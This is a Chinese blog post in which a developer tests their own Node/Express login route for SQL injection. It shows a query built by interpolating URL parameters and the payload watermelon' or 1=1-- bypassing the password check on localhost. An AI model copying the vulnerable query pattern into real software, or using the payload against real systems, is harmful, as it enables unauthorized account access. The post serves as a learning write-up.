美文网首页
node 环境,mysql 注入

node 环境,mysql 注入

作者: webmrxu | 来源:发表于2018-11-27 21:37 被阅读0次

    记录一次mysql注入过程。

    环境

    后端: node 、 express

    描述

    最近在开发一个简单的个人博客,在开发登录功能时,闲暇时看到MySQL 注入 这篇文章,于是想到自己写的登录代码不就是这样的,逻辑上看起来和文章中描述的 mysql 执行语句很像。于是开始按照文章中的步骤进行尝试是不是会发生文章中sql 注入问题。

    后端node 逻辑

    刚开始开发,为了方便测试,使用 get 请求测试用户名和密码进行登录,在正式环境中,请使用post 提交用户名和密码进行登录。

    后端 node 登录逻辑代码

    • 后端,在ulr参数中获取用户输入的用户名(name)和密码(pwd)
    • 使用 MD5 处理明文密码
    • 执行mysql语句去数据库查询验证用户和密码是否正确,
    • 判断是否能查询出数据,如果有数据,则表示登录成功,返回 token,否则返回用户名和密码错误

    登录查询 sql 语句:

    let sql = `
        SELECT user_login,user_nicename,user_email,display_name from wp_users
        WHERE user_login = '${name}'
        AND user_pass = '${pwdMd5}'
        `;
    

    后端node 逻辑代码如下。

    router.get('/login', function(req, res, next) {
        let name = req.param('name');
        let pwd = req.param('pwd');
        let pwdMd5 = unit.MD5Encrypt(pwd);
    
        let sql = `
        SELECT user_login,user_nicename,user_email,display_name from wp_users
        WHERE user_login = '${name}'
        AND user_pass = '${pwdMd5}'
        `;
        console.info(sql);
        database.query(sql, (err, rows, fileds) => {
            if (err) {
                throw err;
            }
            if (rows.length !== 1){
                res.json({message: "用户名或者密码错误", code: '2001'});
            } else {
                let userData = rows[0];
                let tokenInstance = token.generatorToken(userData);
                res.json({message: "ok", token: tokenInstance, data: userData, code: '1000'});
            }
        })
    });
    

    前端模拟登录

    前端js代码; 用户名为watermelon , 使用正确密码为 222 进行登录测试。

    document.getElementById('other').onclick = function() {
        let xhr = new XMLHttpRequest();
        xhr.open('GET', "http://localhost:3000/web/login?name=watermelon&pwd=222");
        xhr.onload = function(a, b) {
            let data = JSON.parse(xhr.responseText)
            token = data.token;
            console.log(token)
        }
        xhr.send();
    }
    

    测试阶段暂时使用明文进行登录,正式环境需要使用rsa 对明文进行加密。

    浏览器F12 调试如下:登录成功,返回了token

    1.jpg 2.jpg

    同一个用户,使用错误的密码:111,进行登录,测试是否能登录成功。

    // 其他代码省略
    xhr.open('GET', "http://localhost:3000/web/login?name=watermelon&pwd=111");
    

    浏览器F12 调试如下:登录失败

    3.jpg 4.jpg

    说明使用错误的密码不能进行登录。接下来开始有趣的测试 sql 注入, 使用错误密码进登录,绕过密码验证。

    进行sql 注入

    参考MySQL 注入 文章中其中的一部分, 使用简单的sql注入写法or 1=1--,原理是:-- 为mysql执行代码的注释标志,也就是说-- 后面的mysql 语句不会执行。

    使用错误的密码:111 进行登录, 但用户名改为:watermelon or 1=1--

    // 其他代码省略
    xhr.open('GET', "http://localhost:3000/web/login?name=watermelon or 1=1--&pwd=111");
    

    浏览器F12 调试如下:登录失败

    5.jpg 55.jpg

    后端console.log 输出的 sql 语句为

    6.jpg

    登录失败,查询不到数据,因为sql 将整个用户名当做字符串进行了处理。使用navcat 调试。

    7.jpg

    如果需要sql注入成功,需要 sql 语句不把用户名当做字符串处理。

    navcat手动调试sql语句,直到能查询出数据。

    仔细查看,当用户名中加入 ' 后,sql 语句就能执行成功。

    8.jpg

    修改浏览器发送http 代码:登录url参数为:name=watermelon' or 1=1-- &pwd=111"

    document.getElementById('other').onclick = function() {
        let xhr = new XMLHttpRequest();
        xhr.open('GET', "http://localhost:3000/web/login?name=watermelon' or 1=1-- &pwd=111"); 
       // 仔细看才能看出区别
        xhr.onload = function(a, b) {
            let data = JSON.parse(xhr.responseText)
            token = data.token;
            console.log(token)
        }
        xhr.send();
    }
    
    9.jpg 10.jpg

    测试可以看出,sql 注入成功。使用错误密码 111 也能登录。不管使用任何密码,只要user表中存在这个用户,就能登录成功。

    总结

    使用别人搭建好的系统时进行,一般已经处理了sql注入问题,所以在开发时,不会考虑sql注入问题。到自己搭建一个系统才发现需要处理的问题有很多。例如:session、token 会话、mysql数据库连接、跨域、密码MD5 加密、路由统一分发权限控制、登录密码加密、sql注入安全问题等等。这些都需要自己理解其中的原理,然后多去实践,并找到解决方案。

    一个系统需要安全的运行,还需要有健壮的代码,所以代码review很重要,特别是后端代码,一个不小心,整个系统数据都不安全了。

    如何解决sql注入问题,还需要再研究,等下篇文章。

    相关文章

      网友评论

          本文标题:node 环境,mysql 注入

          本文链接:https://www.haomeiwen.com/subject/ephgqqtx.html